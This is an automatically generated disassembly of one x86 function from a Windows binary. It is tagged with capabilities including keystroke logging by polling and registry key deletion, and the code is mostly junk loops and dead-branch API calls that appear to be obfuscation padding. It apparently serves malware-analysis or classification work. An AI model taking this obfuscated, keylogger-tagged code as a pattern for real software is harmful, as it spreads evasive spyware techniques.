Function at 0x100418d8
Capabilities:
Check os version
Delete registry key
Log keystrokes via polling
Query environment variable

Disassembly:
mov eax, 0x10061948
call fcn.10060628
sub esp, 0x310
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x20c]
push 1
mov dword [ebp - 0x40], edx
call fcn.1000f6e4
xor ebx, ebx
mov dword [ebp - 0x30], 0xcc25bfc8
xor edi, edi
mov dword [ebp - 0x14], ebx
inc edi
jmp 0x10041925
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20c]
mov dword [eax + ecx*4], 0xe91a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10041912
mov dword [ebp - 0x14], ebx
jmp 0x1004193d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5c], 0xb0b02971
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1004192f
mov dword [ebp - 0x5c], ebx
jmp 0x100419ab
mov dword [ebp - 0x24], ebx
jmp 0x1004195e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x120], 0x39ed080c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1004194d
mov dword [ebp - 0x11c], ebx
jmp 0x10041979
mov dword [ebp - 0x30], 0x5653d423
inc dword [ebp - 0x11c]
cmp dword [ebp - 0x11c], ebx
jle 0x1004196c
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x100419a8
push 0x61b
push 0x1cb2
push 0x1a50
push 0x1da9
push 0x913
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], ebx
jle 0x10041948
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x100419be
call dword [sym.imp.USER32.dll_DestroyCaret]
lea ecx, [ebp - 0x20c]
call fcn.1000f766
push 3
pop esi
push esi
lea ecx, [ebp - 0xe0]
call fcn.1000f6e4
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], 0xbe4438be
mov dword [ebp - 0x14], 0x5a0
cmp dword [ebp - 0x14], 0x880
jle 0x10041a70
push ebx
push 0x215e
push 0xd72
push 0x20cd
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x20], 0x6749
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov ecx, eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
shl edi, cl
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x10609ad8
cdq
push edx
push eax
call fcn.1000f5cf
inc ebx
cmp ebx, 0x4f18
jl 0x10041a28
mov eax, dword [ebp - 0x28]
mov edi, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x28], eax
push 0
pop ebx
cmp eax, 0x399f
jl 0x10041a1e
dec edi
dec dword [ebp - 0x20]
mov dword [ebp - 0x2c], edi
jne 0x10041a19
mov edi, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x474b
jl 0x10041a0f
xor ecx, ecx
mov dword [ebp - 0x30], ebx
inc ecx
mov byte [ebp - 4], cl
cmp dword [ebp - 0x14], 0x3d1
jge 0x10041ab8
mov edx, 0x1000b618
mov ecx, 0x10609ad8
call fcn.10011079
xor ecx, ecx
inc ecx
jmp 0x10041ab8
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10041ace
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10041ac0
mov dword [ebp - 0x14], ebx
jmp 0x10041ae7
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe0]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10041ad8
mov eax, dword [ebp - 0xe0]
mov dword [eax], ebx
mov eax, dword [eax]
mov ecx, dword [ebp + eax*4 - 0x54]
mov edx, dword [ebp - 0xe0]
mov eax, dword [edx]
mov dword [ebp + eax*4 - 0x54], ecx
mov eax, dword [edx]
mov eax, dword [ebp + eax*4 - 0x54]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xe0]
inc dword [eax]
cmp dword [eax], 0
jle 0x10041af4
mov eax, dword [eax + 4]
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x30], eax
or dword [ebp - 4], 0xffffffff
call fcn.1000f766
mov eax, dword [0x1060ac90]
xor edi, edi
inc edi
test al, 1
jne 0x10041bc7
or eax, edi
mov dword [0x1060ac90], eax
push ebx
mov dword [ebp - 4], esi
push ebx
mov dword [0x1060ac50], ebx
mov dword [0x1060ac54], ebx
call fcn.1001776e
mov dword [0x1060ac50], eax
mov dword [0x1060ac58], ebx
mov dword [0x1060ac60], ebx
mov byte [ebp - 4], 5
mov ecx, 0x1060ac58
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0x100]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x220]
mov dword [0x1060ac6c], 0x3f800000
push eax
mov dword [0x1060ac5c], ebx
call fcn.10017546
push 0x10061cf0
mov dword [0x1060ac64], 7
mov dword [0x1060ac68], 8
call fcn.1004b32c
or dword [ebp - 4], 0xffffffff
pop ecx
imul eax, dword [ebp - 0x4c], 0x2710
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x20], 0x7bb4
cmp dword [ebp - 0x20], 0x7d23
jle 0x10041c39
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edx, ecx
mov dword [ebp - 0x30], ebx
mov ecx, eax
sar edx, cl
mov dword [ebp - 0x34], edx
mov eax, edx
mov ecx, ebx
sar eax, cl
mov ecx, 0x10609ad8
cdq
push edx
push eax
call fcn.1000f5cf
mov edx, dword [ebp - 0x34]
inc ebx
cmp ebx, 0x46e1
jl 0x10041bfa
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x28], eax
push 0
pop ebx
cmp eax, 0x192f
jl 0x10041bee
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x1e35
jl 0x10041be9
mov dword [ebp - 4], 6
cmp dword [ebp - 0x20], 0x7984
jge 0x10041c58
mov edx, 0x1000b6b0
mov ecx, 0x10609ad8
call fcn.10011079
or dword [ebp - 4], 0xffffffff
push 2
lea ecx, [ebp - 0xd4]
call fcn.1000f6e4
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x18], 0x2ee76f50
push 2
call fcn.1000f6e4
mov byte [ebp - 4], 9
push 2
mov dword [ebp - 0x30], 0xf0427242
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x10041cce
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10041cbf
mov dword [ebp - 0x14], ebx
jmp 0x10041ceb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x13c]
mov dword [eax + ecx*4], 0xc6f79b34
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10041cd8
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x10041e6d
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000bbe0]
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0x78], ebx
push eax
push ebx
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x74], ebx
movdqu xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0x70], ebx
call fcn.10011598
mov eax, dword [ebp - 0x78]
xor edx, edx
mov dword [ebp - 0x2c], 0x6364d64e
inc edx
mov dword [ebp - 0x24], 0xbd2e84cb
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x30], 0x74357240
mov dword [ebp - 0x34], 2
mov dword [eax], ebx
mov edi, dword [eax]
mov dword [ebp - 0x14], 0x7cbb4028
mov eax, dword [ebp - 0x2c]
add eax, edi
je 0x10041d73
mov eax, dword [ebp - 0xd4]
mov ecx, edx
cmp dword [eax + edi*4], ebx
jne 0x10041d75
mov ecx, ebx
mov ebx, dword [ebp - 0xd4]
xor eax, eax
cmp ecx, edi
push 0
setl al
xor ecx, ecx
cmp dword [ebx + edi*4], eax
setl cl
xor eax, eax
cmp dword [ebx + edi*4], eax
pop ebx
sete al
cmp eax, ecx
jl 0x10041dae
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], 0xf85a06c0
jmp 0x10041dd9
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x10041dd9
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10041dd1
push 0xd5a
push ebx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
dec dword [ebp - 0x14]
jns 0x10041db6
xor edx, edx
inc edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x24], ebx
jl 0x10041df6
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
cmp dword [eax + ecx*4], ebx
mov ecx, edx
jne 0x10041df8
mov ecx, ebx
mov eax, dword [ebp - 0x14]
imul eax, ecx
neg eax
jne 0x10041e0f
mov eax, dword [ebp - 0x13c]
cmp dword [eax + 4], ebx
jne 0x10041e0f
mov edx, ebx
mov dword [ebp - 0x14], edx
xor ecx, ecx
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setg cl
test ecx, ecx
jns 0x10041e2a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x30]
inc edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x78]
inc dword [eax]
cmp dword [eax], edx
jle 0x10041d56
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
lea ecx, [ebp - 0x78]
setge dl
mov dword [ebp - 0x30], edx
call fcn.1000f766
dec dword [ebp - 0x18]
jns 0x10041cfc
xor edi, edi
inc edi
lea ecx, [ebp - 0x13c]
call fcn.1000f766
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.1000f766
lea eax, [ebp - 0x60]
push eax
call fcn.10043724
push esi
lea ecx, [ebp - 0x160]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
call fcn.1000f6e4
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x28], 0xfddd3f46
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x2c], 0xfffffffa
push esi
call fcn.1000f6e4
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x2c], 0xc3d4e703
push esi
call fcn.1000f6e4
mov dword [ebp - 0x18], ebx
jmp 0x10041eff
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x160]
mov dword [eax + ecx*4], 0xc08901f2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10041eec
mov dword [ebp - 0x18], ebx
jmp 0x10041f1c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c0]
mov dword [eax + ecx*4], 0x37b04800
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10041f09
mov dword [ebp - 0x18], ebx
jmp 0x10041f36
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1b4]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10041f26
inc dword [ebp - 0x2c]
mov edx, dword [ebp - 0x160]
cmp dword [edx + 8], ebx
je 0x10041f85
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
sub ecx, dword [eax + 8]
mov eax, dword [ebp - 0x1b4]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax + 8]
jl 0x10041f6f
mov ecx, ebx
cmp dword [edx + 8], ebx
je 0x10041f71
mov ecx, edi
xor eax, eax
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0x30]
setne al
mov dword [ecx + 8], eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x28], 0xfffffffd
call fcn.1000f766
lea ecx, [ebp - 0x1c0]
call fcn.1000f766
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x160]
call fcn.1000f766
cmp dword [ebp - 0x20], 0
je 0x10042068
mov dword [ebp - 0x28], 0xffffffff
xor eax, eax
mov dword [ebp - 0x38], ebx
inc eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x38], 0x87697ab8
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x40], 0x8a064f57
mov dword [ebp - 0x24], ebx
jmp 0x1004200e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1f4], 0xfff6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10041ffd
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042025
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [ebp - 0x28]
xor edi, edi
inc edi
cmp dword [ebp - 0x2c], edi
jge 0x10042033
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x130], 0xd2ad05b3
mov eax, dword [ebp - 0x28]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc8], eax
setne cl
mov dword [ebp - 0x130], ecx
jmp 0x10043637
mov eax, dword [0x1060ac90]
test al, 2
jne 0x10042100
or eax, 2
mov dword [0x1060ac90], eax
push ebx
mov dword [ebp - 4], 0xc
push ebx
mov dword [0x1060ac70], ebx
mov dword [0x1060ac74], ebx
call fcn.1001776e
mov dword [0x1060ac70], eax
mov dword [0x1060ac78], ebx
mov dword [0x1060ac80], ebx
mov byte [ebp - 4], 0xe
mov ecx, 0x1060ac78
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0xbc]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x210]
mov dword [0x1060ac8c], 0x3f800000
push eax
mov dword [0x1060ac7c], ebx
call fcn.10017546
push 0x10061ceb
mov dword [0x1060ac84], 7
mov dword [0x1060ac88], 8
call fcn.1004b32c
or dword [ebp - 4], 0xffffffff
pop ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xec]
push esi
movdqu xmmword [ebp - 0xfc], xmm0
call fcn.1000f6e4
mov dword [ebp - 0x2c], 0xe4f1f13b
mov dword [ebp - 0x14], 0x2ea21e1d
mov dword [ebp - 0x28], 0x314d41bd
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x24], ebx
jmp 0x10042147
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xec]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10042138
mov edx, dword [ebp - 0xec]
mov dword [ebp - 0x30], edx
mov eax, dword [edx + 4]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
je 0x100421ab
mov eax, dword [edx + 4]
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [edx + 4]
setne cl
imul eax, ecx, 0xf34e
test eax, eax
jne 0x10042180
cmp dword [ebp - 0x14], ebx
je 0x10042183
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov esi, 0xa3888ad8
mov ecx, dword [ebp - 0xec]
mov eax, 0xfffa
cmp eax, dword [ecx]
sbb eax, eax
neg eax
cmp esi, eax
sbb eax, eax
inc eax
cmp eax, dword [edx + 4]
jg 0x100421b1
mov dword [ebp - 0x28], edi
jmp 0x100421b4
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x28], ebx
mov esi, dword [edx + 4]
xor eax, eax
mov edx, dword [ebp - 0x28]
cmp edx, dword [ecx]
mov edx, dword [ebp - 0x2c]
setg al
add edx, esi
sub edx, eax
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, esi
setl cl
xor eax, eax
cmp ecx, edi
setg al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 4]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042204
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea ecx, [ebp - 0xec]
call fcn.1000f766
lea eax, [ebp - 0x4c]
push eax
call fcn.10043786
push 2
lea ecx, [ebp - 0x16c]
mov esi, dword [eax]
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x28], 0x311e2db8
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x38], esi
call fcn.1000f6e4
mov dword [ebp - 0x18], ebx
jmp 0x1004224d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x30c], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10042240
mov dword [ebp - 0x18], ebx
jmp 0x10042269
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x284], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10042258
mov dword [ebp - 0x18], ebx
jmp 0x10042287
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x16c]
mov dword [eax + ecx*4], 0x48407374
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10042274
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x16c]
setge cl
mov dword [eax], ecx
lea ecx, [ebp - 0x16c]
call fcn.1000f766
mov al, byte [ebp + 0xc]
test al, al
jne 0x100422d2
test esi, esi
jne 0x10042ec9
lea ecx, [ebp - 0x31c]
mov dl, al
push ecx
mov ecx, dword [ebp - 0x4c]
call fcn.10037987
mov esi, eax
lea edi, [ebp - 0xfc]
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x20], 0xfffffffe
jle 0x100424fe
mov dword [ebp - 0x14], 0xba20b95a
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x24], 0x823aaf5b
mov dword [ebp - 0x34], ebx
push 2
call fcn.1000f6e4
mov dword [ebp - 0x18], ebx
jmp 0x1004233a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x200]
mov dword [eax + ecx*4], 0x56df
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10042327
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
je 0x1004239d
cmp dword [ebp - 0x14], ebx
jne 0x1004235e
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x30]
test eax, eax
jne 0x1004235b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], ecx
jge 0x1004239d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], ebx
jmp 0x10042396
mov dword [ebp - 0x14], ebx
jmp 0x1004238e
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1004238b
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor ecx, ecx
inc ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x10042379
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x10042374
jmp 0x100423ae
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100423ae
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea ecx, [ebp - 0x200]
call fcn.1000f766
xor edi, edi
inc edi
mov dword [ebp - 0x34], 0x7421
cmp dword [ebp - 0x34], 0x757a
jle 0x100423f9
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x10609ad8
cdq
push edx
push eax
call fcn.1000f5cf
inc ebx
cmp ebx, 0x37d0
jl 0x100423d1
inc esi
push 0
pop ebx
cmp esi, 0x2d9d
jl 0x100423ce
cmp byte [ebp + 0xc], 0
je 0x10042733
cmp dword [ebp - 0xf4], 0
je 0x10042733
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x184]
push 2
call fcn.1000f6e4
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x3c], 0x228a
cmp dword [ebp - 0x3c], 0x2647
jle 0x100424d1
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov ecx, ebx
mov dword [ebp - 0x14], ebx
cdq
idiv ecx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x24], edx
mov esi, ebx
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x29c]
and eax, edx
cdq
push edx
push eax
call fcn.1000d000
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10042470
mov eax, dword [eax]
push eax
call fcn.1004b356
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x29c]
call fcn.1000fa70
mov eax, dword [ebp - 0x28]
inc esi
mov edx, dword [ebp - 0x24]
cmp esi, 0x5cb8
jl 0x10042452
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x16e3
jl 0x10042450
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x3f9a
jl 0x10042445
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x51c1
jl 0x10042440
push ebx
push 0x1865
push 0x2607
push 0x11eb
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x3c], 0x20c8
jge 0x100424e8
push 0x1000b78c
call fcn.1004b356
pop ecx
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x20], ebx
jmp 0x100425e0
mov dword [ebp - 0x30], 0xf355
mov dword [ebp - 0x30], 0x7b1466ac
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100423b9
xor edi, edi
mov dword [ebp - 0x18], 0x400e
inc edi
cmp dword [ebp - 0x18], 0x42d4
jle 0x100425a9
mov ecx, ebx
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov edx, eax
mov dword [ebp - 0x14], 0x7af9
mov dword [ebp - 0x24], edx
mov eax, ecx
mov ecx, edx
shl eax, cl
lea ecx, [ebp - 0x2b4]
cdq
push edx
push eax
call fcn.1000d000
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10042562
mov eax, dword [eax]
push eax
call fcn.1004b356
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2b4]
call fcn.1000fa70
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
add edx, esi
dec dword [ebp - 0x14]
mov dword [ebp - 0x24], edx
jne 0x10042544
mov eax, dword [ebp - 0x28]
dec esi
cmp esi, 0xfffffeb3
jg 0x10042538
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x4bc0
jl 0x10042536
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x73fa
jl 0x10042531
push 0x2475
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
cmp dword [ebp - 0x18], 0x3cc1
jge 0x100425c8
push 0x1000b708
call fcn.1004b356
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x100423bc
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x184]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100425d1
inc dword [ebp - 0x18]
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], edi
jg 0x100426ce
push 3
pop esi
mov dword [ebp - 0x3c], 0xe3051ebf
lea ecx, [ebp - 0x19c]
push esi
call fcn.1000f6e4
mov dword [ebp - 0x30], 0x4ddb84c6
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x14], ebx
jmp 0x10042631
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x19c]
mov dword [eax + ecx*4], 0x1320
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1004261e
mov dword [ebp - 0x14], ebx
jmp 0x10042648
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x268], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1004263b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jne 0x10042667
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x19c]
xor ecx, ecx
push 0
cmp dword [eax], edi
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
setg dl
mov dword [ebp - 0x260], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x184]
imul eax, dword [ecx + eax*4], 0x276b
cmp eax, dword [ecx + edx*4]
pop eax
setl al
imul eax, dword [ebp - 0x30]
test eax, eax
jne 0x100426b2
mov eax, ebx
cmp dword [ebp - 0x18], ebx
je 0x100426b4
mov eax, edi
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x19c]
call fcn.1000f766
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x100425f8
lea ecx, [ebp - 0x184]
call fcn.1000f766
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
mov dword [ebp - 0x14], 0x714a0256
inc ecx
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x20], ebx
jmp 0x10042701
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xa0], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100426f4
mov dword [ebp - 0x14], ebx
jmp 0x10042719
mov dword [ebp + eax*4 - 0xa0], 0x5a136951
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
jl 0x1004270b
mov dword [ebp - 0x14], eax
xor edi, edi
mov eax, dword [ebp - 0xf4]
inc edi
mov dword [ebp - 0xc0], eax
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x34], 0x7296
jge 0x10042752
mov edx, 0x1000b758
mov ecx, 0x10609ad8
call fcn.10011079
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
push 3
pop esi
test eax, eax
jne 0x10042ecc
cmp dword [ebp - 0xfc], eax
jle 0x10042ecc
mov dword [ebp - 0x28], 0x4ccb63e8
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x20], 0xfffffff9
push esi
call fcn.1000f6e4
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0x154]
xor eax, eax
inc eax
mov dword [ebp - 0x110], eax
push 2
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
pop edi
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x34], 0xa2324015
push edi
call fcn.1000f6e4
mov dword [ebp - 0x18], ebx
jmp 0x10042806
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ec], 0x6ee97341
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100427f5
mov dword [ebp - 0x18], ebx
jmp 0x10042823
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x148]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10042810
mov dword [ebp - 0x18], ebx
jmp 0x1004283c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x154]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1004282d
